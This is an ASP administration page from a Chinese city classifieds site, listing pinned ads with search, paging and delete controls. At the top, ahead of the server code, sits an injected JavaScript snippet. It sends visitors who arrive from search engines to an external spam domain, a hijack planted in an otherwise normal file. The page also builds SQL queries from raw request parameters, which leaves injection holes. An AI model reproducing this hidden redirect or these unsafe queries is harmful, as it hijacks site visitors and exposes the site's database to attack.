d:\wwwroot\wuchunhua\cityadmin\gudingad.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="conn.asp"-->
002:
<%
if session("china_cityadmin")="" then
003:
response.redirect "login.asp"
004:
end if
005:
006:
set rs=server.createobject("adodb.recordset")
007:
if session("twoid")=0 then
008:
city="city_oneid="&session("oneid")&""
009:
else
010:
if session("threeid")=0 then
011:
city="city_oneid="&session("oneid")&" and city_twoid="&session("twoid")&""
012:
else
013:
city="city_oneid="&session("oneid")&" and city_twoid="&session("twoid")&" and city_threeid="&session("threeid")&""
014:
end if
015:
end if
016:
dim sql,rs
017:
keyword=replace(trim(request.form("keyword")),"'","")
018:
tid=request("id")
019:
ttwoid=request("twoid")
020:
tthreeid=request("threeid")
021:
if keyword <>"" then
022:
sql="select * from china_data where ( title like '%" & keyword & "%' or text like '%" & keyword & "%' ) and [top]=1 and "&city&" and stop >= date() order by adid desc"
023:
else
024:
if tid<>0 then
025:
if ttwoid=0 then dtype="type_oneid="&tid&""
026:
if ttwoid<>0 and tthreeid=0 then dtype="type_oneid="&tid&" and type_twoid="&ttwoid&""
027:
if ttwoid<>0 and tthreeid<>0 then dtype="type_oneid="&tid&" and type_twoid="&ttwoid&" and type_threeid="&tthreeid&""
028:
sql="select * from china_data where [top]=1 and "&dtype&" and "&city&" and stop >= date() order by adid desc"
029:
else
030:
sql="select * from china_data where "&city&" and stop >= date() and [top]=1 order by adid desc"
031:
end if
032:
end if
033:
rs.open sql,conn,1,1
%
>
034:
<html>
035:
<head>
036:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
037:
<title>现有信息列表</title>
038:
<link rel="stylesheet" type="text/css" href="style.css">
039:
</head>
040:
041:
<body>
042:
<SCRIPT language=javascript>
043:
function CheckAll(form)
044:
{
045:
for (var i=0;i<form.elements.length;i++)
046:
{
047:
var e = form.elements[i];
048:
if (e.Name != "chkAll")
049:
e.checked = form.chkAll.checked;
050:
}
051:
}
052:
function Checked()
053:
{
054:
var j = 0
055:
for(i=0;i < document.form.elements.length;i++){
056:
if(document.form.elements[i].name == "adid"){
057:
if(document.form.elements[i].checked){
058:
j++;
059:
}
060:
}
061:
}
062:
return j;
063:
}
064:
065:
function DelAll()
066:
{
067:
if(Checked() <= 0){
068:
alert("您至少选择1条信息!");
069:
}
070:
else{
071:
if(confirm("确定要删除选择的信息吗?\n此操作不可以恢复!")){
072:
form.action="del.asp?del=data";
073:
form.submit();
074:
}
075:
}
076:
}
077:
078:
</SCRIPT>
079:
<FORM name=form method=post>
080:
<table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#799AE1">
081:
<tr>
082:
<td height="20" bgcolor="#799AE1" align="center">
083:
<table width="98%" border="0" cellspacing="0" cellpadding="0">
084:
<tr>
085:
<td width="55">
086:
<select size="1" name="item" onChange="location=this.options[this.selectedIndex].value">
087:
<option value="?id=0"
<%
if tid=0 then
%
>selected
<%
end if
%
>>全部</option>
088:
<%
set rs_lei = server.createobject("adodb.recordset")
089:
sql = "select * from china_type"
090:
rs_lei.open sql,conn,1,1
091:
do while not rs_lei.eof
092:
if rs_lei("id")<>0 and rs_lei("twoid")=0 and rs_lei("threeid")=0 then
%
>
093:
<option value="?id=
<%
=rs_lei("id")
%
>"
<%
if tid=rs_lei("id") and ttwoid=0 then
%
>selected
<%
end if
%
>>
<%
=rs_lei("name")
%
></option>
094:
<%
end if
095:
if rs_lei("id")<>0 and rs_lei("twoid")<>0 and rs_lei("threeid")=0 then
%
>
096:
<option value="?id=
<%
=rs_lei("id")
%
>&twoid=
<%
=rs_lei("twoid")
%
>"
<%
if tid=rs_lei("id") and ttwoid=rs_lei("twoid") and tthreeid=0 then
%
>selected
<%
end if
%
>>
<%
=rs_lei("name")
%
></option>
097:
<%
end if
098:
if rs_lei("id")<>0 and rs_lei("twoid")<>0 and rs_lei("threeid")<>0 then
%
>
099:
<option value="?id=
<%
=rs_lei("id")
%
>&twoid=
<%
=rs_lei("twoid")
%
>&threeid=
<%
=rs_lei("threeid")
%
>"
<%
if tid=rs_lei("id") and ttwoid=rs_lei("twoid") and tthreeid=rs_lei("threeid") then
%
>selected
<%
end if
%
>>
<%
=rs_lei("name")
%
></option>
100:
<%
end if
101:
rs_lei.movenext
102:
loop
103:
rs_lei.close
104:
set rs_lei = nothing
%
>
105:
</select></td>
106:
<td align="center"><font color="#FFFFFF" style="font-size:14px">
<%
=session("china_city")
%
>分站---固顶分类信息</font></td>
107:
<td width="35"><INPUT title=删除 onclick=DelAll() type=button value=删除 name=Submit></td>
108:
</tr>
109:
</table></td>
110:
</tr>
111:
<tr>
112:
<td bgcolor="#FFFFFF"> <br>
113:
<table width="98%" border="0" align="center" cellpadding="1" cellspacing="1" bordercolorlight="#000000" bordercolordark="#FFFFFF" bgcolor="#D6DFF7">
114:
<tr bgcolor="#FFFFFF">
115:
<td width="30" align="center">编号</td>
116:
<td align="center">信息标题</td>
117:
<td align="center">所在地区</td>
118:
<td align="center">信息类别</td>
119:
<td align="center">发布日期</td>
120:
<td align="center">截止日期</td>
121:
<td align="center">审核状态</td>
122:
<td align="center">会员</td>
123:
<td align="center"
<%
if webcardid="0" then
%
>style="display:none"
<%
end if
%
>>身份证</td>
124:
<td align="center">IP</td>
125:
<td align="center">管理操作</td>
126:
<td width="30" align="center"><input id=chkAll
127:
onClick=CheckAll(this.form) type=checkbox
128:
value=checkbox name=chkAll></td>
129:
</tr>
130:
<%
if rs.eof or rs.bof then
131:
response.write"<tr bgcolor=#FFFFFF><td colspan='12'><p align='center'><font color='red'>暂无信息!</font></td></tr></table><br>"
132:
response.end
133:
else
134:
const maxperpage=20
135:
dim currentpage
136:
rs.pagesize=maxperpage
137:
currentpage=request.querystring("pageid")
138:
if isnumeric(currentpage)=false then
139:
response.write "<script>alert('参数错误,关闭窗口!');window.close();</script>"
140:
response.end
141:
end if
142:
if currentpage="" then
143:
currentpage=1
144:
elseif currentpage<1 then
145:
currentpage=1
146:
else
147:
currentpage=clng(currentpage)
148:
if currentpage > rs.pagecount then
149:
currentpage=rs.pagecount
150:
end if
151:
end if
152:
153:
dim totalput,n
154:
totalput=rs.recordcount
155:
if totalput mod maxperpage=0 then
156:
n=totalput\maxperpage
157:
else
158:
n=totalput\maxperpage+1
159:
end if
160:
if n=0 then
161:
n=1
162:
end if
163:
rs.move(currentpage-1)*maxperpage
164:
i=0
165:
do while i< maxperpage and not rs.eof
%
>
166:
<tr bgcolor="#FFFFFF">
167:
<td align="center">
<%
=i+currentpage*maxperpage-maxperpage+1
%
></td>
168:
<td> <a href="../html/
<%
=rs("adid")
%
>.htm" target="_blank">
<%
=rs("title")
%
></a>
169:
<%
If rs("ispic")="yes" Then
%
>
170:
<font color="#FF0000">图</font>
171:
<%
End If
%
></td>
172:
<td align="center"><a title=
<%
=rs("city_one")
%
>/
<%
=rs("city_two")
%
>/
<%
=rs("city_three")
%
> href="#">
<%
=rs("city_one")
%
></a></td>
173:
<td align="center"><a title=
<%
=rs("type_one")
%
>/
<%
=rs("type_two")
%
>/
<%
=rs("type_three")
%
> href="#">
<%
=rs("type_one")
%
></a></td>
174:
<td align="center">
<%
=rs("date")
%
></td>
175:
<td align="center">
<%
=rs("stop")
%
></td>
176:
<td align="center">
177:
<%
If rs("mark")="yes" Then
%
>
178:
<font color="#008000">已审核</font>
179:
<%
Else
%
>
180:
<font color="#FF0000">未审核</font>
181:
<%
End If
%
>
182:
</td>
183:
<td align="center">
<%
If rs("uid")<>"" Then
%
>
184:
<font color="#FF0000">是</font>
185:
<%
Else
%
>
186:
否
187:
<%
End If
%
></td>
188:
189:
<td align="center"
<%
if webcardid="0" then
%
>style="display:none"
<%
end if
%
>>
<%
If rs("cardid")<>"" Then
%
>
190:
<a href="../cardid.asp?cardid=
<%
=rs("cardid")
%
>" target="_blank">查</a>
191:
<%
Else
%
>无
<%
End If
%
></td>
192:
<td align="center">
<%
If rs("ip")<>"" Then
%
>
193:
<a href="../ip.asp?ip=
<%
=rs("ip")
%
>" target="_blank">查</a>
194:
<%
Else
%
>无
<%
End If
%
></td>
195:
<td align="center"><a href="editad.asp?id=
<%
=rs("adid")
%
>"><font color="green">修改</font></a></td>
196:
<td align="center"><input type="checkbox" name="adid" value="
<%
=rs("adid")
%
>" onClick=Checked(form)></td>
197:
</tr>
198:
<%
i=i+1
199:
rs.movenext
200:
loop
201:
rs.close
202:
set rs=nothing
203:
conn.close
204:
set conn=nothing
205:
end if
%
>
206:
</table>
207:
<br>
208:
</td>
209:
</tr>
210:
</table></FORM>
211:
<table width="98%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#799AE1">
212:
<tr>
213:
<td height="20" bgcolor="#FFFFFF"><p align="center">页数:
<%
=currentpage
%
>/
<%
=n
%
>
214:
<%
k=currentpage
215:
if k<>1 then
%
>
216:
<a href="?pageid=1&type=
<%
=request("type")
%
>">首页</a>
217:
<a href="?pageid=
<%
=k-1
%
>"&type=
<%
=request("type")
%
>>上一页</a>
<%
else
%
>
218:
首页 上一页
219:
<%
end if
%
>
220:
<%
if k<>n then
%
>
221:
<a href="?pageid=
<%
=k+1
%
>&type=
<%
=request("type")
%
>">下一页</a>
222:
<a href="?pageid=
<%
=n
%
>&type=
<%
=request("type")
%
>">尾页</a>
223:
<%
else
%
>
224:
下一页 尾页
225:
<%
end if
%
>
226:
共有
<%
=totalput
%
> 条信息 </td>
227:
<form action="" method="post" name="search"><td width="240" align="center" bgcolor="#FFFFFF">关键字
228:
<input maxLength="20" name="keyword" onfocus="this.value=''" size="18" value="
<%
=keyword
%
>">
229:
<input type="submit" value="搜索" style="font-size: 12px" name="search"></td>
230:
</form>
231:
</tr>
232:
</table>
233:
</body>
234:
</html>
235:
236:
237: